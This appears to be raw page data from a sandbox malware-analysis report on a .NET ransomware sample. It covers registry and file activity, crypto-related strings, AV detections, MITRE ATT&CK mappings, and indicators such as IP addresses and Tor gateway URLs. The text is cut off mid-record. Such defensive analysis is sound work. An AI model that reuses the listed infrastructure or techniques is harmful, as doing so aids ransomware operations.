"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMERGE.SDB"; Value: "") "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "")2d:T794,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\imm32.dll" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\CRYPTSP.DLL" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" trying to touch file "C:\Windows\System32\cryptsp.dll"2e:T4f3,"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00009440) "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00009440)2f:T7d4,Found string "AES_Encrypt" (Indicator: "aes"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "AES_Decrypt" (Indicator: "aes"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "Base64Encode" (Indicator: "base64"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "FromBase64String" (Indicator: "base64"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "RijndaelManaged" (Indicator: "rijndael"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "RijndaelManaged" (Indicator: "Rijndaelmanaged"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "CreateEncryptor" (Indicator: "createencryptor"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "CryptoStream" (Indicator: "cryptostream"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "CryptoStreamMode" (Indicator: "cryptostream"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "CryptoStreamMode" (Indicator: "cryptostreammode"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "CreateDecryptor" (Indicator: "createdecryptor"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "ToBase64String" (Indicator: "base64"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de") Found string "ToBase64String" (Indicator: "ToBase64String"; File: "d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de")30:T7e4,Found malicious artifacts related to "208.64.123.130" (ASN: 32421, Owner: Black Lotus Communications): ... File SHA256: d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de (AV positives: 29/55 scanned on 01/12/2016 23:58:27) File SHA256: 7e994707520db28fb9d6d6aeb059b7e0e4c860c9ac43bafb0723ee8038bc5a12 (AV positives: 25/53 scanned on 12/29/2015 19:41:29) File SHA256: 5fa606045c64b84e35f241eb24090b963bbc34b2b0ad53490be30163a5e7ad3e (AV positives: 3/55 scanned on 12/28/2015 15:56:00) File SHA256: 1f11860c572e29d2682800631f1ac5842ce6746695d1ec4797ae5e334fbf18cb (AV positives: 24/54 scanned on 12/27/2015 12:17:43) File SHA256: 28c9b99559fa87ba146aeb8738d7fa29a5f08e264c7abd3eec0e9dab1c5d783c (AV positives: 7/55 scanned on 12/27/2015 00:07:41) Found malicious artifacts related to "217.197.83.197" (ASN: 29670, Owner: Individual Network Berlin e.V.): ... URL: http://o7zeip6us33igmgw.onion.to/ (AV positives: 1/66 scanned on 12/31/2015 11:21:00) URL: https://t7r67vsrpjcm5dfc.onion.to/F7A3F07F76D0C36A (AV positives: 2/66 scanned on 12/28/2015 12:13:43) URL: https://t7r67vsrpjcm5dfc.onion.to/%S (AV positives: 2/66 scanned on 12/23/2015 15:38:29) URL: http://t7r67vsrpjcm5dfc.onion.to/ (AV positives: 2/66 scanned on 12/19/2015 08:13:04) URL: http://tw7kaqthui5ojcez.onion.to/inst.php (AV positives: 1/66 scanned on 12/14/2015 13:34:48) File SHA256: d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de (AV positives: 29/55 scanned on 01/12/2016 23:58:27) File SHA256: 7e994707520db28fb9d6d6aeb059b7e0e4c860c9ac43bafb0723ee8038bc5a12 (AV positives: 25/53 scanned on 12/29/2015 19:41:29) File SHA256: 00a4b3c054c04c637393d65e6a1a28bbcd82c9c5b0b9528e4dd972fa1cb47ca2 (AV positives: 8/54 scanned on 12/29/2015 19:07:59) File SHA256: 5fa606045c64b84e35f241eb24090b963bbc34b2b0ad53490be30163a5e7ad3e (AV positives: 3/55 scanned on 12/28/2015 15:56:00) File SHA256: 1f11860c572e29d2682800631f1ac5842ce6746695d1ec4797ae5e334fbf18cb (AV positives: 24/54 scanned on 12/27/2015 12:17:43)31:T661,"" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES") "" (Access type: "DELETEVAL", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES", Key: "3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F") "" (Access type: "SETVAL", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\3E2BF7F2031B96F38CE6C4D8A85D3E2D58476A0F", Key: "BLOB") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "" (Access type: "CREATE", Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "" (Access type: "CREATE", Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790444628632,"unified_at":"2026-09-26T17:43:48.632Z","metadata":{"hashes":{"sha256":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","sha1":"9ef24129226036dd33523579b8d775fca2ad6f3f","md5":"d240132b0cb453d27af6fac59490af8a","sha512":"1d3872ddc6bb37e5f3f51b3be30d3747c775c38956c8ef36848a73209188c0c319ecff54968b1cb71fa88da18571d244ce4f069820b90dc876135a686adc1ec9","ssdeep":"768:lWACR8PGlIb65mr6Bvu/0s5yTHkvm6892bojB44BCdpsuuv:gACR8PGlIb65mr6BvS0s5ywvm6892bM7","ssdeep_chunks":["768:lWACR8P","768:WACR8PG","768:ACR8PGl","768:CR8PGlI","768:R8PGlIb","768:8PGlIb6","768:PGlIb65","768:GlIb65m","768:lIb65mr","768:Ib65mr6","768:b65mr6B","768:65mr6Bv","768:5mr6Bvu","768:mr6Bvu/","768:r6Bvu/0","768:6Bvu/0s","768:Bvu/0s5","768:vu/0s5y","768:u/0s5yT","768:/0s5yTH","768:0s5yTHk","768:s5yTHkv","768:5yTHkvm","768:yTHkvm6","768:THkvm68","768:Hkvm689","768:kvm6892","768:vm6892b","768:m6892bo","768:6892boj","768:892bojB","768:92bojB4","768:2bojB44","768:bojB44B","768:ojB44BC","768:jB44BCd","768:B44BCdp","768:44BCdps","768:4BCdpsu","768:BCdpsuu","768:Cdpsuuv","1536:lWACR8P","1536:WACR8PG","1536:ACR8PGl","1536:CR8PGlI","1536:R8PGlIb","1536:8PGlIb6","1536:PGlIb65","1536:GlIb65m","1536:lIb65mr","1536:Ib65mr6","1536:b65mr6B","1536:65mr6Bv","1536:5mr6Bvu","1536:mr6Bvu/","1536:r6Bvu/0","1536:6Bvu/0s","1536:Bvu/0s5","1536:vu/0s5y","1536:u/0s5yT","1536:/0s5yTH","1536:0s5yTHk","1536:s5yTHkv","1536:5yTHkvm","1536:yTHkvm6","1536:THkvm68","1536:Hkvm689","1536:kvm6892","1536:vm6892b","1536:m6892bo","1536:6892boj","1536:892bojB","1536:92bojB4","1536:2bojB44","1536:bojB44B","1536:ojB44BC","1536:jB44BCd","1536:B44BCdp","1536:44BCdps","1536:4BCdpsu","1536:BCdpsuu","1536:Cdpsuuv","768:gACR8PG","768:5mr6BvS","768:mr6BvS0","768:r6BvS0s","768:6BvS0s5","768:BvS0s5y","768:vS0s5yw","768:S0s5ywv","768:0s5ywvm","768:s5ywvm6","768:5ywvm68","768:ywvm689","768:wvm6892","768:m6892bM","768:6892bM7"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"file","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":25139,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499296730000,"last_seen":1736971860000,"last_multi_scan":1736971860000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":25},"sandbox_signatures":{"informative_count":78,"suspicious_count":20,"malicious_count":11,"total":109},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1309398","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.REntS.Gen.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Agent-1388055","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Ransom_MSIL_Zuquitache_A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.REntS.Gen.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.AF trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransomware-FTD!D240132B0CB4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dwn.dzsoro","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Cryptear-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Filecoder.IY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Atros2.BYUG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_46.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.1762","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Gen:Ransom.REntS.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Found Native API in Dotnet file"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"suspicious","value":"Contains ability to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform symmetric decryption (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to gather process details (Dotnet)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to download files with network (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"suspicious","value":"Contains ability to open a port and listen for incoming connection"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Multi-hop Proxy","attack_id":"T1090.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/003","identifiers":[{"type":"informative","value":"Contains Tor Onion URL"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to provide interface for network protocols 